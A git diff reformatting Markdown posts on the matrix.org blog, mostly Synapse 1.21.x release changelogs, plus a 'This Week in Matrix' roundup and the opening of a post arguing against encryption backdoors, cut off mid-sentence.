([\#8230](https://github.com/matrix-org/synapse/issues/8230), [\#8247](https://github.com/matrix-org/synapse/issues/8247), [\#8258](https://github.com/matrix-org/synapse/issues/8258), [\#8272](https://github.com/matrix-org/synapse/issues/8272), [\#8322](https://github.com/matrix-org/synapse/issues/8322)) +* Fix messages not being sent over federation until an event is sent into the same room. ([\#8230](https://github.com/matrix-org/synapse/issues/8230), [\#8247](https://github.com/matrix-org/synapse/issues/8247), [\#8258](https://github.com/matrix-org/synapse/issues/8258), [\#8272](https://github.com/matrix-org/synapse/issues/8272), [\#8322](https://github.com/matrix-org/synapse/issues/8322)) We've also made some improvements to SSO and added new admin APIs. -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.21.1 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.21.1) - +Get the new releases from any of the usual sources mentioned at . 1.21.1 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.21.1) The changelog for 1.21.1 is as follows: -Synapse 1.21.1 (2020-10-13) -=========================== +## Synapse 1.21.1 (2020-10-13) This release fixes a regression in v1.21.0 that prevented debian packages from being built. It is otherwise identical to v1.21.0. -Synapse 1.21.0 (2020-10-12) -=========================== +## Synapse 1.21.0 (2020-10-12) No significant changes since v1.21.0rc3. As [noted in v1.20.0](https://github.com/matrix-org/synapse/blob/release-v1.21.1/CHANGES.md#synapse-1200-2020-09-22), a future release will drop support for accessing Synapse's [Admin API](https://github.com/matrix-org/synapse/tree/master/docs/admin_api) under the `/_matrix/client/*` endpoint prefixes. At that point, the Admin API will only be accessible under `/_synapse/admin`. -Synapse 1.21.0rc3 (2020-10-08) -============================== - -Bugfixes --------- - -- Fix duplication of events on high traffic servers, caused by PostgreSQL `could not serialize access due to concurrent update` errors. ([\#8456](https://github.com/matrix-org/synapse/issues/8456)) - -Internal Changes ----------------- - -- Add Groovy Gorilla to the list of distributions we build `.deb`s for. ([\#8475](https://github.com/matrix-org/synapse/issues/8475)) - -Synapse 1.21.0rc2 (2020-10-02) -============================== - -Features --------- - -- Convert additional templates from inline HTML to Jinja2 templates. ([\#8444](https://github.com/matrix-org/synapse/issues/8444)) - -Bugfixes --------- - -- Fix a regression in v1.21.0rc1 which broke thumbnails of remote media. ([\#8438](https://github.com/matrix-org/synapse/issues/8438)) -- Do not expose the experimental `uk.half-shot.msc2778.login.application_service` flow in the login API, which caused a compatibility problem with Element iOS. ([\#8440](https://github.com/matrix-org/synapse/issues/8440)) -- Fix malformed log line in new federation "catch up" logic. ([\#8442](https://github.com/matrix-org/synapse/issues/8442)) -- Fix DB query on startup for negative streams which caused long start up times. Introduced in [\#8374](https://github.com/matrix-org/synapse/issues/8374). ([\#8447](https://github.com/matrix-org/synapse/issues/8447)) - -Synapse 1.21.0rc1 (2020-10-01) -============================== - -Features --------- - -- Require the user to confirm that their password should be reset after clicking the email confirmation link. ([\#8004](https://github.com/matrix-org/synapse/issues/8004)) -- Add an admin API `GET /_synapse/admin/v1/event_reports` to read entries of table `event_reports`. Contributed by @dklimpel. ([\#8217](https://github.com/matrix-org/synapse/issues/8217)) -- Consolidate the SSO error template across all configuration. ([\#8248](https://github.com/matrix-org/synapse/issues/8248), [\#8405](https://github.com/matrix-org/synapse/issues/8405)) -- Add a configuration option to specify a whitelist of domains that a user can be redirected to after validating their email or phone number. ([\#8275](https://github.com/matrix-org/synapse/issues/8275), [\#8417](https://github.com/matrix-org/synapse/issues/8417)) -- Add experimental support for sharding event persister. ([\#8294](https://github.com/matrix-org/synapse/issues/8294), [\#8387](https://github.com/matrix-org/synapse/issues/8387), [\#8396](https://github.com/matrix-org/synapse/issues/8396), [\#8419](https://github.com/matrix-org/synapse/issues/8419)) -- Add the room topic and avatar to the room details admin API. ([\#8305](https://github.com/matrix-org/synapse/issues/8305)) -- Add an admin API for querying rooms where a user is a member. Contributed by @dklimpel. ([\#8306](https://github.com/matrix-org/synapse/issues/8306)) -- Add `uk.half-shot.msc2778.login.application_service` login type to allow appservices to login. ([\#8320](https://github.com/matrix-org/synapse/issues/8320)) -- Add a configuration option that allows existing users to log in with OpenID Connect. Contributed by @BBBSnowball and @OmmyZhang. ([\#8345](https://github.com/matrix-org/synapse/issues/8345)) -- Add prometheus metrics for replication requests. ([\#8406](https://github.com/matrix-org/synapse/issues/8406)) -- Support passing additional single sign-on parameters to the client. ([\#8413](https://github.com/matrix-org/synapse/issues/8413)) -- Add experimental reporting of metrics on expensive rooms for state-resolution. ([\#8420](https://github.com/matrix-org/synapse/issues/8420)) -- Add experimental prometheus metric to track numbers of "large" rooms for state resolutiom. ([\#8425](https://github.com/matrix-org/synapse/issues/8425)) -- Add prometheus metrics to track federation delays. ([\#8430](https://github.com/matrix-org/synapse/issues/8430)) - -Bugfixes --------- - -- Fix a bug in the media repository where remote thumbnails with the same size but different crop methods would overwrite each other. Contributed by @deepbluev7. ([\#7124](https://github.com/matrix-org/synapse/issues/7124)) -- Fix inconsistent handling of non-existent push rules, and stop tracking the `enabled` state of removed push rules. ([\#7796](https://github.com/matrix-org/synapse/issues/7796)) -- Fix a longstanding bug when storing a media file with an empty `upload_name`. ([\#7905](https://github.com/matrix-org/synapse/issues/7905)) -- Fix messages not being sent over federation until an event is sent into the same room. ([\#8230](https://github.com/matrix-org/synapse/issues/8230), [\#8247](https://github.com/matrix-org/synapse/issues/8247), [\#8258](https://github.com/matrix-org/synapse/issues/8258), [\#8272](https://github.com/matrix-org/synapse/issues/8272), [\#8322](https://github.com/matrix-org/synapse/issues/8322)) -- Fix a longstanding bug where files that could not be thumbnailed would result in an Internal Server Error. ([\#8236](https://github.com/matrix-org/synapse/issues/8236), [\#8435](https://github.com/matrix-org/synapse/issues/8435)) -- Upgrade minimum version of `canonicaljson` to version 1.4.0, to fix an unicode encoding issue. ([\#8262](https://github.com/matrix-org/synapse/issues/8262)) -- Fix longstanding bug which could lead to incomplete database upgrades on SQLite. ([\#8265](https://github.com/matrix-org/synapse/issues/8265)) -- Fix stack overflow when stderr is redirected to the logging system, and the logging system encounters an error. ([\#8268](https://github.com/matrix-org/synapse/issues/8268)) -- Fix a bug which cause the logging system to report errors, if `DEBUG` was enabled and no `context` filter was applied. ([\#8278](https://github.com/matrix-org/synapse/issues/8278)) -- Fix edge case where push could get delayed for a user until a later event was pushed. ([\#8287](https://github.com/matrix-org/synapse/issues/8287)) -- Fix fetching malformed events from remote servers. ([\#8324](https://github.com/matrix-org/synapse/issues/8324)) -- Fix `UnboundLocalError` from occurring when appservices send a malformed register request. ([\#8329](https://github.com/matrix-org/synapse/issues/8329)) -- Don't send push notifications to expired user accounts. ([\#8353](https://github.com/matrix-org/synapse/issues/8353)) -- Fix a regression in v1.19.0 with reactivating users through the admin API. ([\#8362](https://github.com/matrix-org/synapse/issues/8362)) -- Fix a bug where during device registration the length of the device name wasn't limited. ([\#8364](https://github.com/matrix-org/synapse/issues/8364)) -- Include `guest_access` in the fields that are checked for null bytes when updating `room_stats_state`. Broke in v1.7.2. ([\#8373](https://github.com/matrix-org/synapse/issues/8373)) -- Fix theoretical race condition where events are not sent down `/sync` if the synchrotron worker is restarted without restarting other workers. ([\#8374](https://github.com/matrix-org/synapse/issues/8374)) -- Fix a bug which could cause errors in rooms with malformed membership events, on servers using sqlite. ([\#8385](https://github.com/matrix-org/synapse/issues/8385)) -- Fix "Re-starting finished log context" warning when receiving an event we already had over federation. ([\#8398](https://github.com/matrix-org/synapse/issues/8398)) -- Fix incorrect handling of timeouts on outgoing HTTP requests. ([\#8400](https://github.com/matrix-org/synapse/issues/8400)) -- Fix a regression in v1.20.0 in the `synapse_port_db` script regarding the `ui_auth_sessions_ips` table. ([\#8410](https://github.com/matrix-org/synapse/issues/8410)) -- Remove unnecessary 3PID registration check when resetting password via an email address. Bug introduced in v0.34.0rc2. ([\#8414](https://github.com/matrix-org/synapse/issues/8414)) - -Improved Documentation ----------------------- - -- Add `/_synapse/client` to the reverse proxy documentation. ([\#8227](https://github.com/matrix-org/synapse/issues/8227)) -- Add note to the reverse proxy settings documentation about disabling Apache's mod_security2. Contributed by Julian Fietkau (@jfietkau). ([\#8375](https://github.com/matrix-org/synapse/issues/8375)) -- Improve description of `server_name` config option in `homserver.yaml`. ([\#8415](https://github.com/matrix-org/synapse/issues/8415)) - -Deprecations and Removals -------------------------- - -- Drop support for `prometheus_client` older than 0.4.0. ([\#8426](https://github.com/matrix-org/synapse/issues/8426)) - -Internal Changes ----------------- - -- Fix tests on distros which disable TLSv1.0. Contributed by @danc86. ([\#8208](https://github.com/matrix-org/synapse/issues/8208)) -- Simplify the distributor code to avoid unnecessary work. ([\#8216](https://github.com/matrix-org/synapse/issues/8216)) -- Remove the `populate_stats_process_rooms_2` background job and restore functionality to `populate_stats_process_rooms`. ([\#8243](https://github.com/matrix-org/synapse/issues/8243)) -- Clean up type hints for `PaginationConfig`. ([\#8250](https://github.com/matrix-org/synapse/issues/8250), [\#8282](https://github.com/matrix-org/synapse/issues/8282)) -- Track the latest event for every destination and room for catch-up after federation outage. ([\#8256](https://github.com/matrix-org/synapse/issues/8256)) -- Fix non-user visible bug in implementation of `MultiWriterIdGenerator.get_current_token_for_writer`. ([\#8257](https://github.com/matrix-org/synapse/issues/8257)) -- Switch to the JSON implementation from the standard library. ([\#8259](https://github.com/matrix-org/synapse/issues/8259)) -- Add type hints to `synapse.util.async_helpers`. ([\#8260](https://github.com/matrix-org/synapse/issues/8260)) -- Simplify tests that mock asynchronous functions. ([\#8261](https://github.com/matrix-org/synapse/issues/8261)) -- Add type hints to `StreamToken` and `RoomStreamToken` classes. ([\#8279](https://github.com/matrix-org/synapse/issues/8279)) -- Change `StreamToken.room_key` to be a `RoomStreamToken` instance. ([\#8281](https://github.com/matrix-org/synapse/issues/8281)) -- Refactor notifier code to correctly use the max event stream position. ([\#8288](https://github.com/matrix-org/synapse/issues/8288)) -- Use slotted classes where possible. ([\#8296](https://github.com/matrix-org/synapse/issues/8296)) -- Support testing the local Synapse checkout against the [Complement homeserver test suite](https://github.com/matrix-org/complement/). ([\#8317](https://github.com/matrix-org/synapse/issues/8317)) -- Update outdated usages of `metaclass` to python 3 syntax. ([\#8326](https://github.com/matrix-org/synapse/issues/8326)) -- Move lint-related dependencies to package-extra field, update CONTRIBUTING.md to utilise this. ([\#8330](https://github.com/matrix-org/synapse/issues/8330), [\#8377](https://github.com/matrix-org/synapse/issues/8377)) -- Use the `admin_patterns` helper in additional locations. ([\#8331](https://github.com/matrix-org/synapse/issues/8331)) -- Fix test logging to allow braces in log output. ([\#8335](https://github.com/matrix-org/synapse/issues/8335)) -- Remove `__future__` imports related to Python 2 compatibility. ([\#8337](https://github.com/matrix-org/synapse/issues/8337)) -- Simplify `super()` calls to Python 3 syntax. ([\#8344](https://github.com/matrix-org/synapse/issues/8344)) -- Fix bad merge from `release-v1.20.0` branch to `develop`. ([\#8354](https://github.com/matrix-org/synapse/issues/8354)) -- Factor out a `_send_dummy_event_for_room` method. ([\#8370](https://github.com/matrix-org/synapse/issues/8370)) -- Improve logging of state resolution. ([\#8371](https://github.com/matrix-org/synapse/issues/8371)) -- Add type annotations to `SimpleHttpClient`. ([\#8372](https://github.com/matrix-org/synapse/issues/8372)) -- Refactor ID generators to use `async with` syntax. ([\#8383](https://github.com/matrix-org/synapse/issues/8383)) -- Add `EventStreamPosition` type. ([\#8388](https://github.com/matrix-org/synapse/issues/8388)) -- Create a mechanism for marking tests "logcontext clean". ([\#8399](https://github.com/matrix-org/synapse/issues/8399)) -- A pair of tiny cleanups in the federation request code. ([\#8401](https://github.com/matrix-org/synapse/issues/8401)) -- Add checks on startup that PostgreSQL sequences are consistent with their associated tables. ([\#8402](https://github.com/matrix-org/synapse/issues/8402)) -- Do not include appservice users when calculating the total MAU for a server. ([\#8404](https://github.com/matrix-org/synapse/issues/8404)) -- Typing fixes for `synapse.handlers.federation`. ([\#8422](https://github.com/matrix-org/synapse/issues/8422)) -- Various refactors to simplify stream token handling. ([\#8423](https://github.com/matrix-org/synapse/issues/8423)) -- Make stream token serializing/deserializing async. ([\#8427](https://github.com/matrix-org/synapse/issues/8427)) +## Synapse 1.21.0rc3 (2020-10-08) + +### Bugfixes + +* Fix duplication of events on high traffic servers, caused by PostgreSQL `could not serialize access due to concurrent update` errors. ([\#8456](https://github.com/matrix-org/synapse/issues/8456)) + +### Internal Changes + +* Add Groovy Gorilla to the list of distributions we build `.deb`s for. ([\#8475](https://github.com/matrix-org/synapse/issues/8475)) + +## Synapse 1.21.0rc2 (2020-10-02) + +### Features + +* Convert additional templates from inline HTML to Jinja2 templates. ([\#8444](https://github.com/matrix-org/synapse/issues/8444)) + +### Bugfixes + +* Fix a regression in v1.21.0rc1 which broke thumbnails of remote media. ([\#8438](https://github.com/matrix-org/synapse/issues/8438)) +* Do not expose the experimental `uk.half-shot.msc2778.login.application_service` flow in the login API, which caused a compatibility problem with Element iOS. ([\#8440](https://github.com/matrix-org/synapse/issues/8440)) +* Fix malformed log line in new federation "catch up" logic. ([\#8442](https://github.com/matrix-org/synapse/issues/8442)) +* Fix DB query on startup for negative streams which caused long start up times. Introduced in [\#8374](https://github.com/matrix-org/synapse/issues/8374). ([\#8447](https://github.com/matrix-org/synapse/issues/8447)) + +## Synapse 1.21.0rc1 (2020-10-01) + +### Features + +* Require the user to confirm that their password should be reset after clicking the email confirmation link. ([\#8004](https://github.com/matrix-org/synapse/issues/8004)) +* Add an admin API `GET /_synapse/admin/v1/event_reports` to read entries of table `event_reports`. Contributed by @dklimpel. ([\#8217](https://github.com/matrix-org/synapse/issues/8217)) +* Consolidate the SSO error template across all configuration. ([\#8248](https://github.com/matrix-org/synapse/issues/8248), [\#8405](https://github.com/matrix-org/synapse/issues/8405)) +* Add a configuration option to specify a whitelist of domains that a user can be redirected to after validating their email or phone number. ([\#8275](https://github.com/matrix-org/synapse/issues/8275), [\#8417](https://github.com/matrix-org/synapse/issues/8417)) +* Add experimental support for sharding event persister. ([\#8294](https://github.com/matrix-org/synapse/issues/8294), [\#8387](https://github.com/matrix-org/synapse/issues/8387), [\#8396](https://github.com/matrix-org/synapse/issues/8396), [\#8419](https://github.com/matrix-org/synapse/issues/8419)) +* Add the room topic and avatar to the room details admin API. ([\#8305](https://github.com/matrix-org/synapse/issues/8305)) +* Add an admin API for querying rooms where a user is a member. Contributed by @dklimpel. ([\#8306](https://github.com/matrix-org/synapse/issues/8306)) +* Add `uk.half-shot.msc2778.login.application_service` login type to allow appservices to login. ([\#8320](https://github.com/matrix-org/synapse/issues/8320)) +* Add a configuration option that allows existing users to log in with OpenID Connect. Contributed by @BBBSnowball and @OmmyZhang. ([\#8345](https://github.com/matrix-org/synapse/issues/8345)) +* Add prometheus metrics for replication requests. ([\#8406](https://github.com/matrix-org/synapse/issues/8406)) +* Support passing additional single sign-on parameters to the client. ([\#8413](https://github.com/matrix-org/synapse/issues/8413)) +* Add experimental reporting of metrics on expensive rooms for state-resolution. ([\#8420](https://github.com/matrix-org/synapse/issues/8420)) +* Add experimental prometheus metric to track numbers of "large" rooms for state resolutiom. ([\#8425](https://github.com/matrix-org/synapse/issues/8425)) +* Add prometheus metrics to track federation delays. ([\#8430](https://github.com/matrix-org/synapse/issues/8430)) + +### Bugfixes + +* Fix a bug in the media repository where remote thumbnails with the same size but different crop methods would overwrite each other. Contributed by @deepbluev7. ([\#7124](https://github.com/matrix-org/synapse/issues/7124)) +* Fix inconsistent handling of non-existent push rules, and stop tracking the `enabled` state of removed push rules. ([\#7796](https://github.com/matrix-org/synapse/issues/7796)) +* Fix a longstanding bug when storing a media file with an empty `upload_name`. ([\#7905](https://github.com/matrix-org/synapse/issues/7905)) +* Fix messages not being sent over federation until an event is sent into the same room. ([\#8230](https://github.com/matrix-org/synapse/issues/8230), [\#8247](https://github.com/matrix-org/synapse/issues/8247), [\#8258](https://github.com/matrix-org/synapse/issues/8258), [\#8272](https://github.com/matrix-org/synapse/issues/8272), [\#8322](https://github.com/matrix-org/synapse/issues/8322)) +* Fix a longstanding bug where files that could not be thumbnailed would result in an Internal Server Error. ([\#8236](https://github.com/matrix-org/synapse/issues/8236), [\#8435](https://github.com/matrix-org/synapse/issues/8435)) +* Upgrade minimum version of `canonicaljson` to version 1.4.0, to fix an unicode encoding issue. ([\#8262](https://github.com/matrix-org/synapse/issues/8262)) +* Fix longstanding bug which could lead to incomplete database upgrades on SQLite. ([\#8265](https://github.com/matrix-org/synapse/issues/8265)) +* Fix stack overflow when stderr is redirected to the logging system, and the logging system encounters an error. ([\#8268](https://github.com/matrix-org/synapse/issues/8268)) +* Fix a bug which cause the logging system to report errors, if `DEBUG` was enabled and no `context` filter was applied. ([\#8278](https://github.com/matrix-org/synapse/issues/8278)) +* Fix edge case where push could get delayed for a user until a later event was pushed. ([\#8287](https://github.com/matrix-org/synapse/issues/8287)) +* Fix fetching malformed events from remote servers. ([\#8324](https://github.com/matrix-org/synapse/issues/8324)) +* Fix `UnboundLocalError` from occurring when appservices send a malformed register request. ([\#8329](https://github.com/matrix-org/synapse/issues/8329)) +* Don't send push notifications to expired user accounts. ([\#8353](https://github.com/matrix-org/synapse/issues/8353)) +* Fix a regression in v1.19.0 with reactivating users through the admin API. ([\#8362](https://github.com/matrix-org/synapse/issues/8362)) +* Fix a bug where during device registration the length of the device name wasn't limited. ([\#8364](https://github.com/matrix-org/synapse/issues/8364)) +* Include `guest_access` in the fields that are checked for null bytes when updating `room_stats_state`. Broke in v1.7.2. ([\#8373](https://github.com/matrix-org/synapse/issues/8373)) +* Fix theoretical race condition where events are not sent down `/sync` if the synchrotron worker is restarted without restarting other workers. ([\#8374](https://github.com/matrix-org/synapse/issues/8374)) +* Fix a bug which could cause errors in rooms with malformed membership events, on servers using sqlite. ([\#8385](https://github.com/matrix-org/synapse/issues/8385)) +* Fix "Re-starting finished log context" warning when receiving an event we already had over federation. ([\#8398](https://github.com/matrix-org/synapse/issues/8398)) +* Fix incorrect handling of timeouts on outgoing HTTP requests. ([\#8400](https://github.com/matrix-org/synapse/issues/8400)) +* Fix a regression in v1.20.0 in the `synapse_port_db` script regarding the `ui_auth_sessions_ips` table. ([\#8410](https://github.com/matrix-org/synapse/issues/8410)) +* Remove unnecessary 3PID registration check when resetting password via an email address. Bug introduced in v0.34.0rc2. ([\#8414](https://github.com/matrix-org/synapse/issues/8414)) + +### Improved Documentation + +* Add `/_synapse/client` to the reverse proxy documentation. ([\#8227](https://github.com/matrix-org/synapse/issues/8227)) +* Add note to the reverse proxy settings documentation about disabling Apache's mod_security2. Contributed by Julian Fietkau (@jfietkau). ([\#8375](https://github.com/matrix-org/synapse/issues/8375)) +* Improve description of `server_name` config option in `homserver.yaml`. ([\#8415](https://github.com/matrix-org/synapse/issues/8415)) + +### Deprecations and Removals + +* Drop support for `prometheus_client` older than 0.4.0. ([\#8426](https://github.com/matrix-org/synapse/issues/8426)) + +### Internal Changes + +* Fix tests on distros which disable TLSv1.0. Contributed by @danc86. ([\#8208](https://github.com/matrix-org/synapse/issues/8208)) +* Simplify the distributor code to avoid unnecessary work. ([\#8216](https://github.com/matrix-org/synapse/issues/8216)) +* Remove the `populate_stats_process_rooms_2` background job and restore functionality to `populate_stats_process_rooms`. ([\#8243](https://github.com/matrix-org/synapse/issues/8243)) +* Clean up type hints for `PaginationConfig`. ([\#8250](https://github.com/matrix-org/synapse/issues/8250), [\#8282](https://github.com/matrix-org/synapse/issues/8282)) +* Track the latest event for every destination and room for catch-up after federation outage. ([\#8256](https://github.com/matrix-org/synapse/issues/8256)) +* Fix non-user visible bug in implementation of `MultiWriterIdGenerator.get_current_token_for_writer`. ([\#8257](https://github.com/matrix-org/synapse/issues/8257)) +* Switch to the JSON implementation from the standard library. ([\#8259](https://github.com/matrix-org/synapse/issues/8259)) +* Add type hints to `synapse.util.async_helpers`. ([\#8260](https://github.com/matrix-org/synapse/issues/8260)) +* Simplify tests that mock asynchronous functions. ([\#8261](https://github.com/matrix-org/synapse/issues/8261)) +* Add type hints to `StreamToken` and `RoomStreamToken` classes. ([\#8279](https://github.com/matrix-org/synapse/issues/8279)) +* Change `StreamToken.room_key` to be a `RoomStreamToken` instance. ([\#8281](https://github.com/matrix-org/synapse/issues/8281)) +* Refactor notifier code to correctly use the max event stream position. ([\#8288](https://github.com/matrix-org/synapse/issues/8288)) +* Use slotted classes where possible. ([\#8296](https://github.com/matrix-org/synapse/issues/8296)) +* Support testing the local Synapse checkout against the [Complement homeserver test suite](https://github.com/matrix-org/complement/). ([\#8317](https://github.com/matrix-org/synapse/issues/8317)) +* Update outdated usages of `metaclass` to python 3 syntax. ([\#8326](https://github.com/matrix-org/synapse/issues/8326)) +* Move lint-related dependencies to package-extra field, update CONTRIBUTING.md to utilise this. ([\#8330](https://github.com/matrix-org/synapse/issues/8330), [\#8377](https://github.com/matrix-org/synapse/issues/8377)) +* Use the `admin_patterns` helper in additional locations. ([\#8331](https://github.com/matrix-org/synapse/issues/8331)) +* Fix test logging to allow braces in log output. ([\#8335](https://github.com/matrix-org/synapse/issues/8335)) +* Remove `__future__` imports related to Python 2 compatibility. ([\#8337](https://github.com/matrix-org/synapse/issues/8337)) +* Simplify `super()` calls to Python 3 syntax. ([\#8344](https://github.com/matrix-org/synapse/issues/8344)) +* Fix bad merge from `release-v1.20.0` branch to `develop`. ([\#8354](https://github.com/matrix-org/synapse/issues/8354)) +* Factor out a `_send_dummy_event_for_room` method. ([\#8370](https://github.com/matrix-org/synapse/issues/8370)) +* Improve logging of state resolution. ([\#8371](https://github.com/matrix-org/synapse/issues/8371)) +* Add type annotations to `SimpleHttpClient`. ([\#8372](https://github.com/matrix-org/synapse/issues/8372)) +* Refactor ID generators to use `async with` syntax. ([\#8383](https://github.com/matrix-org/synapse/issues/8383)) +* Add `EventStreamPosition` type. ([\#8388](https://github.com/matrix-org/synapse/issues/8388)) +* Create a mechanism for marking tests "logcontext clean". ([\#8399](https://github.com/matrix-org/synapse/issues/8399)) +* A pair of tiny cleanups in the federation request code. ([\#8401](https://github.com/matrix-org/synapse/issues/8401)) +* Add checks on startup that PostgreSQL sequences are consistent with their associated tables. ([\#8402](https://github.com/matrix-org/synapse/issues/8402)) +* Do not include appservice users when calculating the total MAU for a server. ([\#8404](https://github.com/matrix-org/synapse/issues/8404)) +* Typing fixes for `synapse.handlers.federation`. ([\#8422](https://github.com/matrix-org/synapse/issues/8422)) +* Various refactors to simplify stream token handling. ([\#8423](https://github.com/matrix-org/synapse/issues/8423)) +* Make stream token serializing/deserializing async. ([\#8427](https://github.com/matrix-org/synapse/issues/8427)) diff --git a/content/blog/2020/10/2020-10-15-synapse-1-21-2-released-and-security-advisory.md b/content/blog/2020/10/2020-10-15-synapse-1-21-2-released-and-security-advisory.md index 20c0693e3..3de467694 100644 --- a/content/blog/2020/10/2020-10-15-synapse-1-21-2-released-and-security-advisory.md +++ b/content/blog/2020/10/2020-10-15-synapse-1-21-2-released-and-security-advisory.md @@ -17,13 +17,11 @@ Separately, we are advising any administrators who have not yet upgraded to Syna The changelog for 1.21.2 is as follows: -Synapse 1.21.2 (2020-10-15) -=========================== +## Synapse 1.21.2 (2020-10-15) Debian packages and Docker images have been rebuilt using the latest versions of dependency libraries, including authlib 0.15.1. Please see bugfixes below. -Bugfixes --------- +### Bugfixes - Fix rare bug where sending an event would fail due to a racey assertion. ([\#8530](https://github.com/matrix-org/synapse/issues/8530)) - An updated version of the authlib dependency is included in the Docker and Debian images to fix an issue using OpenID Connect. See [\#8534](https://github.com/matrix-org/synapse/issues/8534) for details. diff --git a/content/blog/2020/10/2020-10-16-this-week-in-matrix-2020-10-16.md b/content/blog/2020/10/2020-10-16-this-week-in-matrix-2020-10-16.md index 63ecf89f2..f0ea382b1 100644 --- a/content/blog/2020/10/2020-10-16-this-week-in-matrix-2020-10-16.md +++ b/content/blog/2020/10/2020-10-16-this-week-in-matrix-2020-10-16.md @@ -42,7 +42,7 @@ That is something to love. Come join us in the room to share your news and see w ## Dept of Spec 📜 -### New Spec Website! +### New Spec Website [wbamberg](https://matrix.to/#/@wbamberg:matrix.org) told us: @@ -78,8 +78,6 @@ That is something to love. Come join us in the room to share your news and see w > > In terms of Spec Core Team MSC focus for this week, widgets are still the main focus: [MSC2774](https://github.com/matrix-org/matrix-doc/issues/2774) (widget URL template param), [MSC2765](https://github.com/matrix-org/matrix-doc/issues/2765) (widget avatars), and [MSC2790](https://github.com/matrix-org/matrix-doc/issues/2790) (modal widgets). - - ![2020-10-16-KA5Yo-stacked_area_chart.png](/blog/img/2020-10-16-KA5Yo-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -153,8 +151,9 @@ Good grief that's a big update! For a video discussion of the status and future > Hello everyone, this week we merged the federation branch into master. It's not ready to be used properly yet, but we're merging it as it seems stable enough for now. We also improved performance of the federation branch a lot by turning off debug logs. > > Other news: -> - I opened two issues on element-ios which currently break register and login support on Conduit, making it completely unusable. Hopefully they can be resolved soon (https://github.com/vector-im/element-ios/issues/3736, https://github.com/vector-im/element-ios/issues/3737) -> - I'm working on an MSC for threading. It's still WIP, but you can take a look here: https://demo.codimd.org/s/SykbuAUwP +> +> * I opened two issues on element-ios which currently break register and login support on Conduit, making it completely unusable. Hopefully they can be resolved soon (, ) +> * I'm working on an MSC for threading. It's still WIP, but you can take a look here: > > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! @@ -232,18 +231,18 @@ Hot on his heels, [Tulir](https://matrix.to/#/@tulir:maunium.net) announced: > Several releases this week (0.1.11 to 0.1.15) with lots of changes: > -> * url-based navigation has landed! All navigation in the app is now done through urls, meaning you can also bookmark any UI state (e.g. grid configurations). +> * url-based navigation has landed! All navigation in the app is now done through urls, meaning you can also bookmark any UI state (e.g. grid configurations). > -> * fixed 2 memory leaks (exposed now because you can unload your session without refreshing the page) -> * fixed an issue with libolm running out of memory if you send a message to more than 44 devices (see issue #150). +> * fixed 2 memory leaks (exposed now because you can unload your session without refreshing the page) +> * fixed an issue with libolm running out of memory if you send a message to more than 44 devices (see issue #150). > -> * some logical additions now we have url navigation: restoring the last url when opening the app with the default route, and a button to close your session and go back to the picker. -> * the app now blocks concurrent access to the same session from different tabs (it just closes the session in the non-active tab). This will prevent multiple syncs tripping over each other writing to indexeddb (e.g. ConstraintErrors and friends). +> * some logical additions now we have url navigation: restoring the last url when opening the app with the default route, and a button to close your session and go back to the picker. +> * the app now blocks concurrent access to the same session from different tabs (it just closes the session in the non-active tab). This will prevent multiple syncs tripping over each other writing to indexeddb (e.g. ConstraintErrors and friends). > -> * updates are announced in the app (for now through a confirm dialog, but will use an in app notification once we have it) -> * fixes updates not installing on iOS, by having an update prompt. To get this update on iOS though, you'll need to unpin the app, and pinning it again. You'll need to login again after this. All future updates should be installable through the update prompt once you have 0.1.15 though, you won't have to do this again normally. +> * updates are announced in the app (for now through a confirm dialog, but will use an in app notification once we have it) +> * fixes updates not installing on iOS, by having an update prompt. To get this update on iOS though, you'll need to unpin the app, and pinning it again. You'll need to login again after this. All future updates should be installable through the update prompt once you have 0.1.15 though, you won't have to do this again normally. > -> * uses the hydrogen icon when pinning on iOS +> * uses the hydrogen icon when pinning on iOS I really recommend hitting - what great progress! @@ -274,7 +273,6 @@ YES! This is the best documentation > > It is still missing a lot of features, but if you want you can install it from [OpenRepos](https://openrepos.net/content/deepbluev7/konheko). Sources are available [here](https://nheko.im/nheko-reborn/konheko). Just be aware, that it currently stores all messages in RAM, so every restart will take forever to load your rooms and it may run out of RAM at some point. Storing messages in some database will come at some point. Also, a lot of menus may lead nowhere, since those are just placeholders for me atm. - ![2020-10-16-QApie-Bildschirmfoto_20201016_002.png](/blog/img/2020-10-16-QApie-Bildschirmfoto_20201016_002.png) ![2020-10-16-I5_7M-Bildschirmfoto_20201016_007.png](/blog/img/2020-10-16-I5_7M-Bildschirmfoto_20201016_007.png) @@ -304,8 +302,6 @@ YES! This is the best documentation > The current version of SchildiChat-Desktop is available for Desktop [here](https://github.com/SpiritCroc/schildichat-desktop/releases), and I host the web variant [here](https://schildiweb.spiritcroc.de/). > If you want to build it yourself, check out [this repo](https://github.com/SpiritCroc/schildichat-desktop). - - ![2020-10-16-oMUqR-1.png](/blog/img/2020-10-16-oMUqR-1.png) ### Element Web @@ -323,7 +319,7 @@ YES! This is the best documentation ![2020-10-16-wZher-image.png](/blog/img/2020-10-16-wZher-image.png) -> As you can see T3chguy was really pleased to have me interrupt him to take this picture. Expect the new design to merge next week. +> As you can see T3chguy was really pleased to have me interrupt him to take this picture. Expect the new design to merge next week. > > Finally we will most likely ship a new release next week to fix some Jitsi bugs. diff --git a/content/blog/2020/10/2020-10-19-combating-abuse-in-matrix-without-backdoors.md b/content/blog/2020/10/2020-10-19-combating-abuse-in-matrix-without-backdoors.md index 0e64b51ad..ebf442185 100644 --- a/content/blog/2020/10/2020-10-19-combating-abuse-in-matrix-without-backdoors.md +++ b/content/blog/2020/10/2020-10-19-combating-abuse-in-matrix-without-backdoors.md @@ -39,13 +39,13 @@ In other words, this is an explicit request from seven of the biggest government Now, we sympathise with the authorities’ predicament here: we utterly abhor child abuse, terrorism, fascism and similar - and we did not build Matrix to enable it. However, trying to mitigate abuse with backdoors is, unfortunately, **fundamentally flawed**. -* Backdoors necessarily introduce a fatal weak point into encryption for _everyone_, which then becomes the ultimate high value target for attackers. Anyone who can determine the secret needed to break the encryption will gain full access, and you can be absolutely sure **[the backdoor key will leak](https://techcrunch.com/2016/07/27/security-experts-have-cloned-all-seven-tsa-master-keys/)** - whether that’s via intrusion, social engineering, brute-force attacks, or accident. And even if you unilaterally trust your current government to be responsible with the keys to the backdoor, is it wise to unilaterally trust their successors? Computer security is only ever a matter of degree, and the only safe way to keep a secret like this safe is for it not to exist in the first 